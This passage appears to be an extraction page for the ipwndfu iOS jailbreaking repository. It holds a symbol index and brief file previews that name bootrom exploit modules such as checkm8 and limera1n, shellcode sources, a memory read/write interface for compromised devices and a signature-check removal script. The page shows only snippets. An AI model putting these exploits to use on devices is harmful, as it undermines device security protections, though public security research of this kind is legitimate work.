    method bulkRead (line 156) | def bulkRead(self, endpoint, size, timeout = 100):
    method interruptWrite (line 167) | def interruptWrite(self, endpoint, buffer, timeout = 100):
    method interruptRead (line 179) | def interruptRead(self, endpoint, size, timeout = 100):
    method controlMsg (line 190) | def controlMsg(self, requestType, request, buffer, value = 0, index = ...
    method clearHalt (line 213) | def clearHalt(self, endpoint):
    method claimInterface (line 221) | def claimInterface(self, interface):
    method releaseInterface (line 233) | def releaseInterface(self):
    method reset (line 238) | def reset(self):
    method resetEndpoint (line 243) | def resetEndpoint(self, endpoint):
    method setConfiguration (line 251) | def setConfiguration(self, configuration):
    method setAltInterface (line 262) | def setAltInterface(self, alternate):
    method getString (line 273) | def getString(self, index, length, langid = None):
    method getDescriptor (line 285) | def getDescriptor(self, desc_type, desc_index, length, endpoint = -1):
    method detachKernelDriver (line 297) | def detachKernelDriver(self, interface):
  class Device (line 309) | class Device(object):
    method __init__ (line 311) | def __init__(self, dev):
    method open (line 336) | def open(self):
  class Bus (line 343) | class Bus(object):
    method __init__ (line 345) | def __init__(self, devices):
  function busses (line 350) | def busses():

FILE: usb/libloader.py
  class LibraryException (line 51) | class LibraryException(OSError):
  class LibraryNotFoundException (line 54) | class LibraryNotFoundException(LibraryException):
  class NoLibraryCandidatesException (line 57) | class NoLibraryCandidatesException(LibraryNotFoundException):
  class LibraryNotLoadedException (line 60) | class LibraryNotLoadedException(LibraryException):
  class LibraryMissingSymbolsException (line 63) | class LibraryMissingSymbolsException(LibraryException):
  function locate_library (line 67) | def locate_library (candidates, find_library=ctypes.util.find_library):
  function load_library (line 101) | def load_library(lib, name=None, lib_cls=None):
  function load_locate_library (line 130) | def load_locate_library(candidates, cygwin_lib, name,

FILE: usb/util.py
  function endpoint_address (line 101) | def endpoint_address(address):
  function endpoint_direction (line 109) | def endpoint_direction(address):
  function endpoint_type (line 118) | def endpoint_type(bmAttributes):
  function ctrl_direction (line 128) | def ctrl_direction(bmRequestType):
  function build_request_type (line 137) | def build_request_type(direction, type, recipient):
  function create_buffer (line 153) | def create_buffer(length):
  function find_descriptor (line 164) | def find_descriptor(desc, find_all=False, custom_match=None, **args):
  function claim_interface (line 194) | def claim_interface(device, interface):
  function release_interface (line 207) | def release_interface(device, interface):
  function dispose_resources (line 219) | def dispose_resources(device):
  function get_langids (line 235) | def get_langids(dev):
  function get_string (line 285) | def get_string(dev, index, langid = None):

FILE: usbexec.py
  class ExecConfig (line 4) | class ExecConfig:
    method __init__ (line 5) | def __init__(self, info, aes_crypto_cmd):
    method match (line 9) | def match(self, info):
  class PwnedUSBDevice (line 36) | class PwnedUSBDevice():
    method memset (line 37) | def memset(self, address, c, length):          self.command(self.cmd_m...
    method memcpy (line 38) | def memcpy(self, dest, src, length):           self.command(self.cmd_m...
    method read_memory_ptr (line 39) | def read_memory_ptr(self, address):            return struct.unpack('<...
    method read_memory_uint8 (line 40) | def read_memory_uint8(self, address):          return struct.unpack('<...
    method read_memory_uint16 (line 41) | def read_memory_uint16(self, address):         return struct.unpack('<...
    method read_memory_uint32 (line 42) | def read_memory_uint32(self, address):         return struct.unpack('<...
    method read_memory_uint64 (line 43) | def read_memory_uint64(self, address):         return struct.unpack('<...
    method write_memory (line 44) | def write_memory(self, address, data):         self.command(self.cmd_m...
    method write_memory_ptr (line 45) | def write_memory_ptr(self, address, value):    self.write_memory(addre...
    method write_memory_uint8 (line 46) | def write_memory_uint8(self, address, value):  self.write_memory(addre...
    method write_memory_uint16 (line 47) | def write_memory_uint16(self, address, value): self.write_memory(addre...
    method write_memory_uint32 (line 48) | def write_memory_uint32(self, address, value): self.write_memory(addre...
    method write_memory_uint64 (line 49) | def write_memory_uint64(self, address, value): self.write_memory(addre...
    method cmd_arg_type (line 50) | def cmd_arg_type(self):                        return 'Q' if self.plat...
    method cmd_arg_size (line 51) | def cmd_arg_size(self):                        return 8 if self.platfo...
    method cmd_data_offset (line 52) | def cmd_data_offset(self, index):              return 16 + index * sel...
    method cmd_data_address (line 53) | def cmd_data_address(self, index):             return self.load_base()...
    method cmd_memcpy (line 54) | def cmd_memcpy(self, dest, src, length):       return struct.pack('<8s...
    method cmd_memset (line 55) | def cmd_memset(self, address, c, length):      return struct.pack('<8s...
    method load_base (line 57) | def load_base(self):
    method image_base (line 63) | def image_base(self):
    method usb_serial_number (line 69) | def usb_serial_number(self, key):
    method aes (line 79) | def aes(self, data, action, key):
    method read_memory (line 85) | def read_memory(self, address, length):
    method command (line 94) | def command(self, request_data, response_length):
    method execute (line 113) | def execute(self, response_length, *args):
    method __init__ (line 130) | def __init__(self):

FILE: utilities.py
  function apply_patches (line 3) | def apply_patches(binary, patches):
  function aes_decrypt (line 8) | def aes_decrypt(data, iv, key):
  function hex_dump (line 29) | def hex_dump(data, address):
Condensed preview — 55 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (443K chars).
[
  {
    "path": ".gitignore",
    "chars": 87,
    "preview": "*.pyc\nnor-backups/nor-*\nlibusbfinder/libusb-*\nSecureROM-*\nn88ap-iBSS-4.3.5.img3\n*.ipsw\n"
  },
  {
    "path": "JAILBREAK-GUIDE.md",
    "chars": 6054,
    "preview": "# Jailbreak guide for iPhone 3GS (new bootrom)\n\n### Steps\n\n1. Backup your data. Everything will be removed from your pho"
  },
  {
    "path": "LICENSE",
    "chars": 35141,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "Makefile",
    "chars": 2417,
    "preview": "all: armv6 armv7 arm64\n\narmv6:\n\tarm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src"
  },
  {
    "path": "README.md",
    "chars": 4773,
    "preview": "![](repo/ipwndfu.png)\n# Open-source jailbreaking tool for many iOS devices\n\n\n**Read [disclaimer](#disclaimer) before usi"
  },
  {
    "path": "SHAtter.py",
    "chars": 2395,
    "preview": "# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.\n\nimport struct, sys, time\nim"
  },
  {
    "path": "alloc8.py",
    "chars": 4242,
    "preview": "import copy, struct, sys\n\nalloc8_constants_359_3 = [\n    0x84034000, #  1 - MAIN_STACK_ADDRESS\n         0x544, #  2 - cl"
  },
  {
    "path": "checkm8.py",
    "chars": 24310,
    "preview": "import array, ctypes, struct, sys, time\nimport usb\nimport dfu\n\n# Must be global so garbage collector never frees it\nrequ"
  },
  {
    "path": "device_platform.py",
    "chars": 5305,
    "preview": "class DevicePlatform:\n  def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_s"
  },
  {
    "path": "dfu.py",
    "chars": 2391,
    "preview": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport li"
  },
  {
    "path": "dfuexec.py",
    "chars": 11604,
    "preview": "import binascii, datetime, hashlib, struct, sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module"
  },
  {
    "path": "ibootpatcher",
    "chars": 4549,
    "preview": "#!/usr/bin/python\n# ibootpatcher: patch assembly code in iBoot binaries\n# Author: axi0mX\n\nimport argparse, struct, sys\n\n"
  },
  {
    "path": "image3.py",
    "chars": 3818,
    "preview": "import binascii, struct\nimport dfuexec, utilities\n\nclass Image3:\n    def __init__(self, data):\n        (self.magic, self"
  },
  {
    "path": "image3_24Kpwn.py",
    "chars": 2668,
    "preview": "# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g"
  },
  {
    "path": "ipwndfu",
    "chars": 16449,
    "preview": "#!/usr/bin/python\n# ipwndfu: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport binascii, date"
  },
  {
    "path": "ipwnrecovery",
    "chars": 2706,
    "preview": "#!/usr/bin/python\n# ipwnrecovery: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport getopt, s"
  },
  {
    "path": "libusbfinder/__init__.py",
    "chars": 4683,
    "preview": "import hashlib, os, platform, cStringIO, tarfile\n\nclass VersionConfig:\n    def __init__(self, version, bottle, bottle_sh"
  },
  {
    "path": "limera1n.py",
    "chars": 8591,
    "preview": "# Credit: This file is based on limera1n exploit (heap overflow) by geohot.\n\nimport array, ctypes, struct, sys, time\nimp"
  },
  {
    "path": "nor-backups/README",
    "chars": 38,
    "preview": "Your NOR backups will be stored here.\n"
  },
  {
    "path": "nor.py",
    "chars": 1425,
    "preview": "import binascii, struct\n\nNOR_SIZE = 0x100000\n\nclass NorData():\n    def __init__(self, dump):\n        assert len(dump) =="
  },
  {
    "path": "recovery.py",
    "chars": 1325,
    "preview": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport li"
  },
  {
    "path": "rmsigchks.py",
    "chars": 3077,
    "preview": "import dfu\nimport usbexec\nimport sys\nimport usb.core\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA1\n\nDFU_DNLOAD = 1\nDFU_ABORT = "
  },
  {
    "path": "rmsigchks_t8015.py",
    "chars": 2823,
    "preview": "import dfu\nimport usbexec\nimport sys\nimport usb.core\nimport struct\nimport binascii\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA"
  },
  {
    "path": "src/24Kpwn-shellcode.S",
    "chars": 817,
    "preview": "@ 24Kpwn-shellcode.S\n@ Author: axi0mX\n@ Shellcode for 24Kpwn exploit.\n\n.text\n\n.pool\n.set SHA1_DWORD_ADDRESS,            "
  },
  {
    "path": "src/SHAtter-shellcode.S",
    "chars": 8278,
    "preview": "@ SHAtter-shellcode.S\n@ Author: axi0mX\n@ Shellcode for SHAtter exploit with minor improvements:\n@ * supports 'exec' magi"
  },
  {
    "path": "src/alloc8-shellcode.S",
    "chars": 8764,
    "preview": "@ alloc8-shellcode.S\n@ Author: axi0mX\n@ Shellcode for alloc8 exploit with minor improvements:\n@ * supports 'exec' magic "
  },
  {
    "path": "src/checkm8_arm64.S",
    "chars": 1871,
    "preview": ".text\n\n.pool\n.set PAYLOAD_OFFSET,               0xBAD00006\n.set PAYLOAD_SIZE,                 0xBAD00007\n.set PAYLOAD_DE"
  },
  {
    "path": "src/checkm8_armv7.S",
    "chars": 2237,
    "preview": ".text\n\n.pool\n.set PAYLOAD_OFFSET,               0xBAD00006\n.set PAYLOAD_SIZE,                 0xBAD00007\n.set PAYLOAD_DE"
  },
  {
    "path": "src/ibss-flash-nor-shellcode.S",
    "chars": 2701,
    "preview": "@ ibss-flash-nor-shellcode.S\n@ Author: axi0mX\n@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS\n@ Parts flash"
  },
  {
    "path": "src/limera1n-shellcode.S",
    "chars": 7690,
    "preview": "@ limera1n-shellcode.S\n@ Author: axi0mX\n@ Shellcode for limera1n exploit with minor improvements:\n@ * supports 'exec' ma"
  },
  {
    "path": "src/steaks4uce-shellcode.S",
    "chars": 8151,
    "preview": "@ steaks4uce-shellcode.S\n@ Author: axi0mX\n@ Shellcode for steaks4uce exploit with minor improvements:\n@ * reports PWND:["
  },
  {
    "path": "src/t8010_t8011_disable_wxn_arm64.S",
    "chars": 715,
    "preview": ".text\n\n.align 2\n\n.globl _main\n_main:\n  # Copy the real pagetable first\n  MOV  X1, #0x180000000\n  ADD  X2, X1, #0xA8000\n "
  },
  {
    "path": "src/usb_0xA1_2_arm64.S",
    "chars": 3423,
    "preview": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS,   0xBAD00001\n.set EXEC_MAGIC,     0xBAD00002\n.set MEMC_M"
  },
  {
    "path": "src/usb_0xA1_2_armv7.S",
    "chars": 2444,
    "preview": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS,   0xBAD00001\n.set EXEC_MAGIC,     0xBAD00002\n.set MEMC_M"
  },
  {
    "path": "steaks4uce.py",
    "chars": 5534,
    "preview": "# Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g.\n\nimport struct, sys, time\nimport usb # pyus"
  },
  {
    "path": "usb/ACKNOWLEDGEMENTS",
    "chars": 434,
    "preview": "Alan Aguiar\njaseg\nJohannes Stezenbach\nMarijn van Vliet\nStefano Di Martino\nSimon Norberg\niThompson\nHarry Bock\nponty\nChris"
  },
  {
    "path": "usb/LICENSE",
    "chars": 1407,
    "preview": "Copyright (C) 2009-2014 Wander Lairson Costa. All Rights Reserved.\n\nRedistribution and use in source and binary forms, w"
  },
  {
    "path": "usb/README.rst",
    "chars": 3656,
    "preview": "=======================================\nPyUSB 1.0 - Easy USB access from Python\n=======================================\n"
  },
  {
    "path": "usb/__init__.py",
    "chars": 3550,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/_debug.py",
    "chars": 3215,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/_interop.py",
    "chars": 3522,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/_lookup.py",
    "chars": 3259,
    "preview": "# Copyright (C) 2009-2014 Walker Inman\n#\n# The following terms apply to all files associated\n# with the software unless "
  },
  {
    "path": "usb/_objfinalizer.py",
    "chars": 5286,
    "preview": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2014 André Erdmann\n#\n# The following terms apply to all files associated\n# wit"
  },
  {
    "path": "usb/backend/__init__.py",
    "chars": 16048,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/backend/libusb0.py",
    "chars": 23783,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/backend/libusb1.py",
    "chars": 35299,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/backend/openusb.py",
    "chars": 28019,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/control.py",
    "chars": 8739,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/core.py",
    "chars": 46704,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/legacy.py",
    "chars": 12588,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usb/libloader.py",
    "chars": 6787,
    "preview": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2013-2014 André Erdmann\n#\n# The following terms apply to all files associated\n"
  },
  {
    "path": "usb/util.py",
    "chars": 12291,
    "preview": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software"
  },
  {
    "path": "usbexec.py",
    "chars": 7684,
    "preview": "import struct, sys\nimport dfu, device_platform\n\nclass ExecConfig:\n  def __init__(self, info, aes_crypto_cmd):\n    self.i"
  },
  {
    "path": "utilities.py",
    "chars": 1108,
    "preview": "import subprocess, sys\n\ndef apply_patches(binary, patches):\n    for (offset, data) in patches:\n        binary = binary[:"
  }
]

// ... and 1 more files (download for full content)

About this extraction

This page contains the full source code of the LinusHenze/ipwndfu_public GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 55 files (416.9 KB), approximately 114.2k tokens, and a symbol index with 468 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!